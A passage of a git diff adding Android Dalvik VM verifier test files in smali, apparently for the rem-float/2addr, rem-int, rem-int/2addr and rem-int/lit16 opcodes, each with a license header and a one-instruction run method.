+.class  public Ldot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       rem-float/2addr v5, v7
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_6.smali
new file mode 100644
index 0000000..bcab601
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_6.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_2addr_6.java"
+.class  public Ldot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)F
+.registers 8
+
+       rem-float/2addr v6, v7
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_1.smali
new file mode 100644
index 0000000..be97772
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_1.java"
+.class  public Ldot/junit/opcodes/rem_int/d/T_rem_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       rem-int v0, v6, v7
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_2.smali
new file mode 100644
index 0000000..c07ab68
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_2.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_2.java"
+.class  public Ldot/junit/opcodes/rem_int/d/T_rem_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       rem-int v0, v7, v8
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_3.smali
new file mode 100644
index 0000000..f9256f768
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_3.java"
+.class  public Ldot/junit/opcodes/rem_int/d/T_rem_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ID)I
+.registers 8
+
+       rem-int v0, v5, v6
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_4.smali
new file mode 100644
index 0000000..8cf6ad5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_4.java"
+.class  public Ldot/junit/opcodes/rem_int/d/T_rem_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       rem-int v0, v5, v7
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_5.smali
new file mode 100644
index 0000000..ad6d97d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_5.java"
+.class  public Ldot/junit/opcodes/rem_int/d/T_rem_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       rem-int v0, v5, v7
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_6.smali
new file mode 100644
index 0000000..1bcfb7e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_6.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_6.java"
+.class  public Ldot/junit/opcodes/rem_int/d/T_rem_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)I
+.registers 8
+
+       rem-int v0, v6, v7
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_1.smali
new file mode 100644
index 0000000..fcf8b1c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       rem-int/2addr v6, v7
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_2.smali
new file mode 100644
index 0000000..c217938
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_2.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       rem-int/2addr v6, v8
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_3.smali
new file mode 100644
index 0000000..c73e27a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ID)I
+.registers 8
+
+       rem-int/2addr v5, v6
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_4.smali
new file mode 100644
index 0000000..4b95919
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       rem-int/2addr v5, v7
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_5.smali
new file mode 100644
index 0000000..dec94e5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       rem-int/2addr v5, v7
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_6.smali
new file mode 100644
index 0000000..8eaddc8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_6.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_2addr_6.java"
+.class  public Ldot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)I
+.registers 8
+
+       rem-int/2addr v6, v7
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_1.smali
new file mode 100644
index 0000000..1ef0172
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_1.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit16 v0, v7, 4
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_10.smali
new file mode 100644
index 0000000..76aff8c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_10.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_10.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit16 v0, v8, 10
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_11.smali
new file mode 100644
index 0000000..7b90eb5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_11.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_11.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       rem-int/lit16 v0, v6, 10
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_12.smali
new file mode 100644
index 0000000..6bdaf21
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_12.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_12.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       rem-int/lit16 v0, v6, 10
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_13.smali
new file mode 100644
index 0000000..c0abf7a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_13.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_13.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_13;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit16 v0, v6, 10
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_2.smali
new file mode 100644
index 0000000..6ba3c23
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_2.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_2.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit16 v0, v7, -3
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_3.smali
new file mode 100644
index 0000000..34e736b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_3.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit16 v0, v7, -3000
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_4.smali
new file mode 100644
index 0000000..d51ff0e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_4.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 8
+
+       rem-int/lit16 v0, v7, 15
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_5.smali
new file mode 100644
index 0000000..9f8df7c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_5.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit16 v0, v7, -1
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_6.smali
new file mode 100644
index 0000000..b02e0ac
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_6.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_6.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit16 v0, v7, 1
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_7.smali
new file mode 100644
index 0000000..5771deb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_7.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
